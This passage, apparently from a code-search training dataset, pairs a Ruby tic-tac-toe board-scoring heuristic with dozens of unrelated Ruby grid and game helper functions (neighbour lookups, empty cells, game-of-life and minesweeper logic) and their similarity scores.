\"#{rows}#{column}\"\n end\n end\n end\n return all_affected_cells\n end", "def hidden_ships_grid \n @grid.map do |row|\n row.map do |ele|\n if ele == :S \n :N \n else\n ele\n end\n end\n end\n end", "def actual_cells\n @cells.compact\n end", "def find_all_empty_cells\n @board_array.each_index do |i|\n row = @board_array[i]\n row_index = i\n row.each_index do |i|\n char = row[i]\n column_index = i\n if char == \"-\"\n return [row_index,column_index]\n end\n end\n end\n end", "def get_other_col_cells cell\n\t\treturn get_col_cells(get_col cell) - [cell]\n\tend", "def get_other_row_cells cell\n\t\treturn get_row_cells(get_row cell) - [cell]\n\tend", "def exposion_range_without_wall(pos)\n\t\trange = Set.new\n\t\t@template.each do |orig_pos|\n\t\t\ttrans_pos = Array.new(orig_pos)\n\t\t\ttrans_pos.row += pos.row\n\t\t\ttrans_pos.col += pos.col\n\t\t\tif (0...n).cover?(trans_pos.row) and (0...m).cover?(trans_pos.col)\n\t\t\t\trange << trans_pos\n\t\t\tend\n\t\tend\n\t\treturn range\n\tend", "def neighbors\n neighbor_pos = []\n row, col = @pos\n # every permutation of\n # [row -1 , row , row + 1 && col - 1, col, col+1] not including [row,col]\n\n 3.times do |indx1|\n 3.times do |indx2|\n neighbor_pos << [row+indx1-1, col+indx2-1]\n end\n end\n # need to remove negatives, values > 8, and its own coordinate\n neighbor_pos.delete([row, col])\n neighbor_pos.reject do |pos|\n r, c = pos\n r < 0 || c < 0 || r > 8 || c > 8\n end\n end", "def neighbours(cell)\n\n\t\trow = cell.row\n\t\tcolumn = cell.column\n\t\tneighbours = []\n\n\t\t# Subsample eight cells adjacent to given cell\n\t\tfor i in ((row - 1)..(row + 1))\n\t\t\tfor j in ((column - 1)..(column + 1))\n\t\t\t\t# Do not include given cell in sample\n\t\t\t\tif !(i == row && j == column)\n\t\t\t\t\tneighbours << getCell(i, j)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\treturn neighbours\n\tend", "def get_ones\r\n ones = []\r\n @icon.each_with_index do |row, row_index|\r\n row.each_with_index do |item, col_index|\r\n if item == 1\r\n ones << [row_index, col_index]\r\n end\r\n end\r\n end\r\n ones\r\n end", "def find_empty_cell()\n\t$value_grid.each_with_index do |row, index_r|\n\t\trow.each_with_index do |col, index_c|\n\t\t\tif col.to_i == 0\n\t\t\t\treturn [index_r,index_c]\n\t\t\tend\n\t\tend\n\tend\n\treturn [$N,$N]\nend", "def find_neighbors(cell)\n min_r = [0, cell.row - 1].max\n max_r = [cell.row + 1, rows - 1].min\n min_c = [0, cell.column - 1].max\n max_c = [cell.column + 1, columns - 1].min\n\n get_cells(min_r..max_r, min_c..max_c).select { |x| x unless x == cell }\n end", "def neighbor_cells\n @neighbor_cells ||= neighbor_cell_coordinates.map do |coordinates|\n board.at(coordinates[0], coordinates[1]) if board.cell_exists?(coordinates[0], coordinates[1])\n end.compact\n end", "def corner_deadlock_positions\n positions = []\n\n (0..@level.rows-1).each do |m|\n (0..@level.cols-1).each do |n|\n cell = read_pos(m, n)\n\n if not ' #.*+'.include? cell\n if in_corner?(m, n)\n positions << { :m => m, :n => n }\n end\n end\n end\n end\n\n positions\n end", "def free_positions\n\t\tboard.select {|position, value| value == 0}.keys\n\tend", "def get_available_positions\n @state.each.with_index(1).select { |mark, index| mark.nil? }.map { |mark, index| index }\n end", "def cell_array_visited\n cell_array = []\n @cells_visited.map { |ms_cell| cell_array << ms_cell.cell }\n cell_array\n end", "def hidden_ships_grid\n @grid.map do\n |row|\n row.map do\n |el|\n if el == :S\n :N\n else\n el\n end\n end\n end\n end", "def random_open_nonedge_cell\n open_cells.reject {|c, v| [1,6].include?(v.x) || [1,6].include?(v.y) }.keys.shuffle.first\n end", "def nearby_dead_cells(live_cells)\n live_cells.map { |p| neighborhood(p) }.reduce(:|) - live_cells\nend", "def cells_near cell\n near_cells = []\n CELL_NEIGHBOURHOOD.each do |state|\n c = [cell[0] + state[0], cell[1] + state[1]]\n if @cells.include? c then\n near_cells.push c\n end\n end\n return near_cells\n end", "def get_empty_positions(board)\n board.select {|k, v| v.to_s!='X' && v.to_s!='O' }.keys\nend", "def unused_nodes\n s = []\n (0..7).each do |i|\n if position[i] && !position[i].used\n s << i\n end\n end\n s\n end", "def get_neighbors_from_cell(cell)\n coordinates = [\n [cell.coord_x + 1, cell.coord_y],\n [cell.coord_x - 1, cell.coord_y],\n [cell.coord_x, cell.coord_y - 1],\n [cell.coord_x, cell.coord_y + 1],\n [cell.coord_x - 1, cell.coord_y + 1],\n [cell.coord_x + 1, cell.coord_y + 1],\n [cell.coord_x - 1, cell.coord_y - 1],\n [cell.coord_x + 1, cell.coord_y - 1]\n ]\n\n neighbors = coordinates.map do |coordinate|\n find_cell(coordinate)\n end\n\n neighbors.select { |neighbor| neighbor && neighbor.empty? }\n end", "def hidden_ships_grid\n new_grid = []\n\n @grid.each_with_index do |arr, i|\n new_grid[i] = arr.map do |ele|\n if ele == :S\n ele = :N\n else\n ele\n end\n end\n end\n\n new_grid\n end", "def get_living_neighbours(cell)\n living_neighbours = []\n\n #Checking the status of neighbouring cells, with checks for cases where the cell resides on the edge of the grid.\n if cell.y < rows - 1\n neighbour = game_grid[cell.x][cell.y + 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x < cols - 1 && cell.y < rows - 1\n neighbour = game_grid[cell.x + 1][cell.y + 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x < cols - 1\n neighbour = game_grid[cell.x + 1][cell.y]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x < rows - 1 && cell.y > 0\n neighbour = game_grid[cell.x + 1][cell.y - 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.y > 0\n neighbour = game_grid[cell.x][cell.y - 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x > 0 && cell.y > 0\n neighbour = game_grid[cell.x - 1][cell.y - 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x > 0\n neighbour = game_grid[cell.x - 1][cell.y]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x > 0 && cell.y < rows - 1\n neighbour = game_grid[cell.x - 1][cell.y + 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n return living_neighbours\n\n end", "def uncover\n\t\tmine, uncovered = false, []\n\t\tif @state != :uncovered && @state != :flagged\n\t\t\t@state = :uncovered\n\t\t\tuncovered.push(@coords)\n\t\t\tmine = @type == :mine\n\n\t\t\t# Uncover neighbors\n\t\t\tif not mine and @count == 0\n\t\t\t\t@neighbors.each do |neighbor|\n\t\t\t\t\t# We can assume a neighbor is never a mine in this case\n\t\t\t\t\tuncovered += neighbor.uncover()[1]\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn [mine, uncovered]\n\tend", "def neighbours_in_use(row, col)\n neighbours = []\n\n neighbours << [row - 1, col] if row > 0 && used?(row - 1, col)\n neighbours << [row + 1, col] if row < @rows - 1 && used?(row + 1, col)\n neighbours << [row, col - 1] if col > 0 && used?(row, col - 1)\n neighbours << [row, col + 1] if col < @cols - 1 && used?(row, col + 1)\n\n neighbours\n end", "def get_empty_locs\n empty = []\n @board.each { |index, spot| empty.push(index) if spot.nil? }\n return empty\n end", "def hidden_ships_grid\n new_grid = @grid.map do |subarray|\n subarray.map do |ele|\n if ele == :S \n ele = :N \n else\n ele\n end\n end \n end\n new_grid\n end", "def empty_squares(brd)\n brd.position_values.keys.select { |num| brd.position_values[num] == Board::INITIAL_MARKER }\n end", "def empty_position\n vacancies = []\n grid.each_with_index do |row, row_idx|\n row.each_with_index do |col, col_idx|\n vacancies << [row_idx, col_idx] if grid[row_idx][col_idx].nil?\n end\n end\n vacancies\n end", "def empty_cells\n cells.values.select {|cell| cell.empty? }\n end", "def get_neighbours(n, m)\n [[n - 1, m],[n + 1, m],[n, m - 1],[n, m + 1]].select do |coords| \n coords.first.between?(0, rows - 1) && coords.last.between?(0, cols - 1)\n end\n end", "def neighbors\n mr_rogers = []\n\n (-1..1).each do |x_change|\n (-1..1).each do |y_change|\n new_indx = [x_change + index[0], y_change + index[1]]\n mr_rogers << new_indx if valid_index?(new_indx)\n end\n end\n\n mr_rogers.delete(index)\n mr_rogers.map{|arr| @board[arr[0]][arr[1]]}\n end", "def cells\n @cells ||= []\n end", "def neighbor_possibilities(coords_of_neighborhood)\n coords_of_neighborhood.map do |coords|\n filled_in_board.cell_possibilities(*coords)\n end.compact\n end", "def empty_positions(&block)\n positions = []\n each_position do |row, column|\n next if get_cell(row, column)\n yield(row, column) if block_given?\n positions << [row, column]\n end\n positions\n end", "def live_neighbours_around_cell(cell)\n live_neighbours = []\n\n #check top cell\n if cell.x_axis > 0\n # puts \"Cell dimen1: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis - 1][cell.y_axis]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n #check right cell\n if cell.y_axis < (columns-1)\n # puts \"Cell dimen2: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis][cell.y_axis + 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n #check left cell\n if cell.y_axis > 0\n # puts \"Cell dimen3: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis][cell.y_axis - 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check bottom cell\n if cell.x_axis < (rows-1)\n # puts \"Cell dimen4: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis + 1][cell.y_axis]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check top left\n if cell.x_axis > 0 and cell.y_axis > 0\n # puts \"Cell dimen5: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis - 1][cell.y_axis - 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check top right\n if cell.x_axis > 0 and cell.y_axis < (columns-1)\n # puts \"Cell dimen6: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis - 1][cell.y_axis + 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check bottom left\n if cell.x_axis < (rows - 1) and cell.y_axis > 0\n # puts \"Cell dimen7: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis + 1][cell.y_axis - 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check bottom right\n if cell.x_axis < (rows - 1) and cell.y_axis < (columns - 1)\n # puts \"Cell dimen8: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis + 1][cell.y_axis + 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n live_neighbours\n end", "def empty_squares(brd)\n brd.keys.select { |num| brd[num] == INITIAL_MARKER }\nend", "def empty_squares(brd)\n brd.keys.select { |num| brd[num] == INITIAL_MARKER }\nend", "def get_working_list(sudoku_cells)\n # look through the grid and put into the array\n # all the cells that still need attention\n working_list = []\n sudoku_cells.each do |row|\n row.each do |cell|\n if cell.value.zero? \n working_list << cell\n # print cell.value.to_s + ' '\n end\n end\n end\n return working_list\n # this method could possible implemented at the start\n # to reduce unnecessary check and improve performance\nend", "def reachable_cells(x, y, world)\n visited = []\n queue = [[x, y]]\n\n while !queue.empty?\n start = queue.pop\n neighbors = DIRECTIONS.values.\n map {|d| [start[0] + d[:x], start[1] + d[:y]]}.\n select {|x,y| world[y][x] == '.' }\n new_cells = neighbors - visited\n queue = queue + new_cells\n visited.push(start)\n end\n\n visited\nend", "def active_cells; @cells.select(&:active?) end", "def possible_neighbors(y,x)\n # (-1..1).to_a.map do |row_offset|\n # (-1..1).to_a.map do |col_offset|\n # return y - row_offset, x - col_offset\n # end\n # end\n up = y-1\n down = y + 1\n my_row = y\n left = x - 1\n right = x + 1\n my_column = x\n\n [\n [my_row,x-1],[y,x+1], # sides\n [up,x-1], [y-1,x], [y-1,x+1], # top\n [down,x-1], [y+1,x], [y+1,x+1] # bottom\n ]\n end", "def populate_unvisited_except(visited_row, visited_col, board_dimension)\n visited_board = []\n\n board_dimension.times do |row|\n visited_row = []\n board_dimension.times do |col|\n if (row == visited_row && col == visited_col)\n visited_row << true\n else\n visited_row << false\n end\n end\n visited_board << visited_row\n end\n\n visited_board\nend", "def hidden_ships_grid\n hidden = Array.new(@grid.size) { [] }\n (0...@grid.size).each do |i|\n (0...@grid.size).each do |j|\n chit = self[[i, j]] == :S ? :N : self[[i, j]]\n hidden[i] << chit\n end\n end\n hidden\n end", "def tiles\n @shape.values.map { |v| v.values }.flatten.select {|x| x != :empty}\n end", "def empty_squares(brd)\n brd.keys.select {|num| brd[num] == INITIAL_MARKER}\nend", "def remove_inaccessible_cells(map, goal)\n # Use a flood fill to keep cells; everything not flooded gets a 99.\n basin = Set.new\n flood_fill(map, basin, goal[0], goal[1])\n map.height.times do |row|\n map.width.times do |col|\n map.set(row, col, 99) unless basin.include?([row, col])\n end\n end\n end", "def cell_flagger(row_num, col_num)\n\t\t@grid[row_num][col_num].flagger\n\tend", "def adjacent_cells(i_index, j_index)\n return [] if out_of_bounds?(i_index, j_index)\n\n cells = [\n [i_index - 1, j_index - 1], # a\n [i_index - 1, j_index], # b\n [i_index - 1, j_index + 1], # c\n [i_index, j_index + 1], # d\n [i_index + 1, j_index + 1], # e\n [i_index + 1, j_index], # f\n [i_index + 1, j_index - 1], # g\n [i_index, j_index - 1] # h\n ]\n cells.reject do |pair|\n i_index, j_index = pair\n out_of_bounds?(i_index, j_index)\n end\n end", "def occupied_cells(x = @x, y = @y)\n x_array = (left_cell_x(x) .. right_cell_x(x)).to_a\n y_array = (top_cell_y(y) .. bottom_cell_y(y)).to_a\n x_array.product(y_array)\n end", "def occupied_cells(x = @x, y = @y)\n x_array = (left_cell_x(x) .. right_cell_x(x)).to_a\n y_array = (top_cell_y(y) .. bottom_cell_y(y)).to_a\n x_array.product(y_array)\n end", "def getUnrotatedBlocks(row, col)\n return [\n Block.new(row, col),\n Block.new(row + 1, col),\n Block.new(row + 1, col + 1),\n Block.new(row, col - 1)\n ]\n end", "def get_neighbors(tile)\n @tiles.flatten.select { |t|\n (t.x <= (tile.x + 1) && t.x >= (tile.x - 1)) &&\n (t.y <= (tile.y + 1) && t.y >= (tile.y - 1)) &&\n tile != t\n }\n end", "def neighbors(x,y)\n valid = 0..127\n [[x,y-1],[x,y+1],[x-1,y],[x+1,y]].select {|(h,v)| valid.cover?(h) && valid.cover?(v)}\nend", "def empty_spots\n spots = []\n\n board.each_with_index do |row, row_num|\n row.each_with_index do |column, column_num|\n if (!row && !column)\n empty_spot = {'row' => row_num, 'column' => column_num}\n spots.push(empty_spot)\n end\n end\n end\n\n spots\n end", "def neighbours(cell_number)\n neighbours = []\n \n #left, right\n neighbours << cell_number - 1 unless (cell_number % 8) == 0\n neighbours << cell_number + 1 unless (cell_number % 8) == 7\n #up, down\n neighbours << cell_number - 8 unless cell_number < 8\n neighbours << cell_number + 8 unless cell_number > 55\n #up-left, up-right\n neighbours << cell_number - 9 unless (cell_number % 8) == 0 or cell_number < 8\n neighbours << cell_number - 7 unless (cell_number % 8) == 7 or cell_number < 8\n #down-left, down-right\n neighbours << cell_number + 7 unless (cell_number % 8) == 0 or cell_number > 55\n neighbours << cell_number + 9 unless (cell_number % 8) == 7 or cell_number > 55 \n\n neighbours \nend", "def unused_nodes_with(char)\n # puts unused_nodes\n # puts position[unused_nodes.first].letter\n # s = unused_nodes.delete_if { |node| position[node].letter == char }\n s = []\n (0..7).each do |i|\n if position[i] && !position[i].used\n s << i if position[i].die.getLetter == char\n end\n end\n s\n end", "def find_unassigned_array(grid)\n unassigned_array = Array.new\n row = 0\n while row < N\n column = 0\n while column < N\n if unassigned_cells(grid, row, column)\n unassigned_array << [row, column]\n end\n column += 1\n end\n row += 1\n end\n return unassigned_array\nend", "def legal_values n\n return [] if @pz[n]\n (((1..@size).to_a - rows[row_id n]) - columns[column_id n]) - boxes[box_id n]\n end", "def ntants\n d = @upper - @center\n (0...(2**@tuple)).map do |bits|\n k = [Vector[*(0...@tuple).map{|i| (bits & (1 << 1)) == 0 ? @center[i]+d[i] : @center[i]-d[i]}], @center]\n yield *k if block_given?\n k\n end\n end", "def find_hole\n @tiles.size.times do |x|\n @tiles.size.times do |y|\n return [x,y] if @tiles[y][x].nil?\n end\n end\n end", "def neighbours(x, y)\n # With permutation() we can exclude diagonal cells in the square around a cell\n [-1, 0, 1].permutation(2).map { |(dx, dy)| [x + dx, y + dy]}\n .select { |(c, r)| c >= 0 && r >= 0 && !@board[r].nil? && @board[r][c] == @board[y][x] }\n end", "def cells\n @cells ||= coordinates.collect {|coordinate| Cell.new(coordinate: coordinate)}\n end", "def cells\n @cells\n end", "def cells\n @cells\n end", "def adjacent_neighbors(cell)\n neighbors = []\n\n # Gets all the valid neighbors into the array\n # From southern neighbor, clockwise\n neighbors << [cell.x , cell.y - 1] unless cell.y == 0\n neighbors << [cell.x - 1, cell.y ] unless cell.x == 0\n neighbors << [cell.x , cell.y + 1] unless cell.y == grid.height - 1\n neighbors << [cell.x + 1, cell.y ] unless cell.x == grid.width - 1\n\n # Sorts the neighbors so the rendered path is a zigzag path\n # Cells in a diagonal direction are given priority\n # Comment this line to see the difference\n neighbors = neighbors.sort_by { |neighbor_x, neighbor_y| proximity_to_star(neighbor_x, neighbor_y) }\n\n neighbors\n end", "def open_positions\n cells.select {|cell| cell.available?}\n end", "def neighbors\n neighbors = []\n for row in (x - 1)..(x + 1)\n for col in (y - 1)..(y + 1)\n if (0...FIELD_SIZE).cover?(row) && (0...FIELD_SIZE).cover?(col)\n if row != x || col != y\n neighbors.push(@battle_field[row, col])\n end\n end\n end\n end\n neighbors\n end", "def get_coordinates(cell)\n row = @cell_coordinates[cell][0]\n col = @cell_coordinates[cell][1]\n [row, col]\n end", "def marker_on_cell(cell)\n\t\tif @cell_status[cell]==2 then\n\t\t\treturn \"X\"\n\t\telsif @cell_status[cell]==1 then\n\t\t\treturn \"O\"\n\t\telse\n\t\t\treturn \" \"\t\n\t\tend\t\t\n\tend", "def cells_overlapping(x, y)\n cells_at_points(corner_points_of_entity(x, y)).collect {|cx, cy| at(cx, cy) }\n end", "def occupied_spaces\n objects = []\n grid_iterator.each do |cell|\n objects << cell unless cell.nil?\n end\n objects\n end", "def neighbor_coords\r\n coordinates = [\r\n up,\r\n down,\r\n right, \r\n left,\r\n # Diagonals\r\n # Move.new(up).right,\r\n # Move.new(up).left,\r\n # Move.new(down).right,\r\n # Move.new(down).left\r\n up_right,\r\n up_left,\r\n down_right,\r\n down_left\r\n ]\r\n\r\n coordinates.compact\r\n end", "def adjacent_neighbors(cell)\n neighbors = []\n\n # Gets all the valid neighbors into the array\n # From southern neighbor, clockwise\n neighbors << [cell.x, cell.y - 1] unless cell.y == 0\n neighbors << [cell.x - 1, cell.y] unless cell.x == 0\n neighbors << [cell.x, cell.y + 1] unless cell.y == grid.height - 1\n neighbors << [cell.x + 1, cell.y] unless cell.x == grid.width - 1\n\n # Sorts the neighbors so the rendered path is a zigzag path\n # Cells in a diagonal direction are given priority\n # Comment this line to see the difference\n neighbors = neighbors.sort_by { |neighbor_x, neighbor_y| proximity_to_star(neighbor_x, neighbor_y) }\n\n neighbors\n end", "def pattern\n @nz.map { |nz_cell| nz_cell[0..1] }\n end", "def notify_unflagged(_cell); end", "def neighboors\n coordneighboors = [@x - 1, @x, @x + 1].product([@y - 1, @y, @y + 1])\n coordneighboors.delete([@x, @y])\n coordneighboors.select { |coord| coord[0] >= 0 && coord[0] < @matrix.rows && coord[1] >= 0 && coord[1] < @matrix.columns }\n end", "def ensure_adjacent_rooms(map)\n map.each do |row|\n x_coordinate = map.index(row)\n row.each do |room|\n index = map[row].index(room)\n puts index\n end\n\n \n # x_coordinates = row.collect! { |room| room = row.index(room) }\n \n # x_coordinates.each { |coordin| puts coordin } \n # \n # row.each { |coordin| puts coordin } \n end\nend", "def cells_at_points(coords)\n coords.collect {|x, y| cell_at_point(x, y) }.to_set\n end", "def empty_neighbors (cell_x, cell_y, radius)\n empty_neighbors = 0\n x = cell_x - radius\n while(x <= cell_x + radius)\n y = cell_y - radius\n while(y <= cell_y + radius)\n if(is_within_map?(x, y) && !is_solid?(x, y))\n empty_neighbors += 1\n end\n y += 1\n end\n x += 1\n end\n return empty_neighbors\n end", "def neighbours(col, row)\n neigh = []\n\n [-1, +1].each do |inc|\n new_col = col + inc\n new_row = row + inc\n\n neigh << [new_col, row] if in_grid?(new_col, row)\n neigh << [col, new_row] if in_grid?(col, new_row)\n end\n\n neigh\n end", "def chess_pieces\n pieces = @state.map do |row|\n row.select { |piece| piece != nil }\n end.flatten\n end" ]
[ "0.6576118", "0.647619", "0.64418936", "0.63750285", "0.63619417", "0.63587683", "0.627323", "0.6249036", "0.62005013", "0.6170337", "0.6140886", "0.6103744", "0.61019045", "0.609262", "0.60817635", "0.6081043", "0.605226", "0.60493165", "0.6024733", "0.60156953", "0.5987666", "0.596382", "0.595834", "0.59510106", "0.59410113", "0.5931162", "0.5927634", "0.59116274", "0.5892084", "0.5888881", "0.586736", "0.58648336", "0.58507204", "0.58167446", "0.57998073", "0.578506", "0.57840866", "0.57488644", "0.5719602", "0.5715133", "0.5711344", "0.56944126", "0.5688738", "0.5666391", "0.56594324", "0.5649255", "0.5640799", "0.5617994", "0.5610017", "0.56051713", "0.55909735", "0.5589168", "0.55871046", "0.55728614", "0.55712044", "0.55712044", "0.5563813", "0.55569357", "0.5538964", "0.5536714", "0.553484", "0.5531607", "0.5531185", "0.5528159", "0.55139464", "0.5508953", "0.55071115", "0.55018866", "0.55018866", "0.550053", "0.54949975", "0.54922175", "0.5485996", "0.5483909", "0.54833853", "0.54791015", "0.5469539", "0.54659325", "0.54639053", "0.54458785", "0.54418445", "0.5429219", "0.5429219", "0.54260254", "0.54243696", "0.5418518", "0.54176617", "0.5415379", "0.54032475", "0.5401179", "0.5399057", "0.53960186", "0.5389887", "0.5378141", "0.5370444", "0.53653437", "0.5362454", "0.536076", "0.5358361", "0.53421307" ]
0.6356224
6
heuristic for a player winning the game given this board
def heuristic_for_player(player) # for each row, col, diag: # +100 for a win, 10 for two (with 1 empty), 1 for single (with 2 empty) # above negated for other player, subtracting 1/10th because it is not their turn (assume it is player's turn) # , summed heuristic_proc = proc do |acc, row| is_player_proc = proc { |c| c == player.to_s } acc += 100 if row.all?(&is_player_proc) acc += 10 if row.select(&is_player_proc).size == 2 && row.any?(&:nil?) acc += 1 if row.select(&is_player_proc).size == 1 && row.select(&:nil?).size == 2 is_other_player_proc = proc { |c| !c.nil? && c != player.to_s} acc -= 90 if row.all?(&is_other_player_proc) acc -= 9 if row.select(&is_other_player_proc).size == 2 && row.any?(&:nil?) acc -= 0.9 if row.select(&is_other_player_proc).size == 1 && row.select(&:nil?).size == 2 acc end rows.reduce(0, &heuristic_proc) + columns.reduce(0, &heuristic_proc) + diagonals.reduce(0, &heuristic_proc) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def check_for_win(player)\n\tif ($grid_hash[\"tl\"] == player) && ($grid_hash[\"tc\"] == player) && ($grid_hash[\"tr\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"cl\"] == player) && ($grid_hash[\"cc\"] == player) && ($grid_hash[\"cr\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"bl\"] == player) && ($grid_hash[\"bc\"] == player) && ($grid_hash[\"br\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"tl\"] == player) && ($grid_hash[\"cl\"] == player) && ($grid_hash[\"bl\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"tc\"] == player) && ($grid_hash[\"cc\"] == player) && ($grid_hash[\"bc\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"tr\"] == player) && ($grid_hash[\"cr\"] == player) && ($grid_hash[\"br\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"tl\"] == player) && ($grid_hash[\"cc\"] == player) && ($grid_hash[\"br\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"bl\"] == player) && ($grid_hash[\"cc\"] == player) && ($grid_hash[\"tr\"] == player)\n\t\twin(player)\n\telse\n\t\tcheck_for_tie\n\tend\nend", "def evaluate(board, player = 'o', opponent = 'x')\r\n # Checking rows for victory\r\n 3.times do |row|\r\n if are_equal?(board[row][0], board[row][1], board[row][2], player, opponent)\r\n return player?(board[row][0], player, opponent)\r\n end\r\n end\r\n # Checking cols for victory\r\n 3.times do |col|\r\n if are_equal?(board[0][col], board[1][col], board[2][col], player, opponent)\r\n return player?(board[0][col], player, opponent)\r\n end\r\n end\r\n # Checking frist diagonal for victory\r\n return player?(board[0][0], player, opponent) if are_equal?(board[0][0], board[1][1], board[2][2], player, opponent)\r\n # Checking second diagonal for victory\r\n return player?(board[0][2], player, opponent) if are_equal?(board[0][2], board[1][1], board[2][0], player, opponent)\r\n # If none of them have won\r\n 0\r\n end", "def player_moves(board)\n\t\tnew_hash_o = {} # Holds the winning combination positions the other player is occupying\n\t\tnew_hash_c = {} # Holds the winning combination positions the current player is occupying\n\t\tfinal_hash_o = {} # Holds the other player winning combination that need to be blocked on the next move\n\t\tfinal_hash_c = {} # Holds the move to be made for the current player winning combination\n\t\tWIN_COMBINATIONS.each do |k,v| # Check which of the other player's and current player's positions are part of a winning combination\n\t\t new_hash_o[k] = []\n\t\t new_hash_c[k] = []\n\t\t @other_player_positions.each do |t| # Check which of the other player's positions are part of a winning combination\n\t\t\t if v.include?(t)\n\t\t\t \tnew_hash_o[k] << t # If the position is part of a winning combination include it in the new hash\n\t\t \tend\n\t\t end\n\t\t @current_player_positions.each do |t| # Check which of the current player's positions are part of a winning combination\n\t\t\t if v.include?(t)\n\t\t\t \tnew_hash_c[k] << t # If the position is part of a winning combination include it in the new hash\n\t\t \tend\n\t\t end\n\t\tend\n\t\t@other_player_positions = [] # Clear the other player position results ready for the next turn\n\t\t@current_player_positions = [] # Clear the current player position results ready for the next turn\n\t\tnew_hash_o.each do |k,v| # Check whether the other player has one move to go on a winning combination\n\t\t\t# If there are two positions of a winning combination held by the other player include the combination in the final hash\n\t\t\tif new_hash_o[k].size > 1\n\t\t\t\tfinal_hash_o[k] = new_hash_o[k] # Final hash holds the vulnerable positions that need to be filled\n\t\t\tend\n\t\tend\n\t\tnew_hash_c.each do |k,v| # Check whether the current player has one move to go on a winning combination\n\t\t\t# If there are two positions of a winning combination held by the current player include the combination in the final hash\n\t\t\tif new_hash_c[k].size > 1\n\t\t\t\tfinal_hash_c[k] = new_hash_c[k] # Final hash holds the winning positions that need to be filled\n\t\t\tend\n\t\tend\n\t\t# Find the final position to move to block the other player's winning combination\n\t\t # Find the final position for current player to move to win\n\t\tWIN_COMBINATIONS.each do |k,v|\n\t\t\tif final_hash_o.include?(k)\n\t\t\t\t@move_o << WIN_COMBINATIONS[k] - final_hash_o[k]\n\t\t\t\tif !board.valid_move?(@move_o[0][0]) # Check whether the final position is a valid move\n\t\t\t\t\t@move_o.shift # If not a valid position remove the final move\n\t\t\t\tend\n\t\t\tend\n\t\t\tif final_hash_c.include?(k)\n\t\t\t\t@move_c << WIN_COMBINATIONS[k] - final_hash_c[k]\n\t\t\t\tif !board.valid_move?(@move_c[0][0]) # Check whether the final position is a valid move\n\t\t\t\t\t@move_c.shift # If not a valid position remove the final move from the array\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tif !@move_o.empty? # Don't test and pass an empty array\n\t\t\t\t@move_o = @move_o.sample # Only one move can be made\n\t\t\t\t@move_o # Final move to block the other player's winning combination\n\t\tend\n\t\tif !@move_c.empty? # Don't test and pass an empty array\n\t\t\t\t@move_c = @move_c.sample # Only one move can be made\n\t\t\t\t@move_c # Final move to block the other player's winning combination\n\t\tend\n\tend", "def game_over(player)\n #combinaisons gagnantes\n vic_combi = [[0,1,2], [3,4,5], [6,7,8], [0,3,6], [1,4,7], [2,5,8], [0,4,8], [2,4,6]]\n #verifie si les cases occupées le sont par le meme joueur\n vic_combi.each do |victorious_case|\n if @board.board[victorious_case[0]].case_value + @board.board[victorious_case[1]].case_value+ @board.board[victorious_case[2]].case_value == player.symbol * 3\n return player\n end\n end\n return false\n end", "def check_win(player)\n\t\tif (@table.table[0][0] == player.value && @table.table[0][1] == player.value && @table.table[0][2] == player.value) ||\n\t\t (@table.table[1][0] == player.value && @table.table[1][1] == player.value && @table.table[1][2] == player.value) ||\n\t\t (@table.table[2][0] == player.value && @table.table[2][1] == player.value && @table.table[2][2] == player.value) ||\n\t\t (@table.table[0][0] == player.value && @table.table[1][0] == player.value && @table.table[2][0] == player.value) ||\n\t\t (@table.table[0][0] == player.value && @table.table[1][0] == player.value && @table.table[2][0] == player.value) ||\n\t\t (@table.table[0][1] == player.value && @table.table[1][1] == player.value && @table.table[2][1] == player.value) ||\n\t\t (@table.table[0][2] == player.value && @table.table[1][2] == player.value && @table.table[2][2] == player.value) ||\n\t\t (@table.table[0][0] == player.value && @table.table[1][1] == player.value && @table.table[2][2] == player.value) ||\n\t\t (@table.table[2][0] == player.value && @table.table[1][1] == player.value && @table.table[0][2] == player.value) \n\t\t\t@win_val = player.value\n\t\t\tgame_end\n\t\tend\n\tend", "def winCondition(player)\n #Loops through rows, then loops through columns.\n\tfor i in 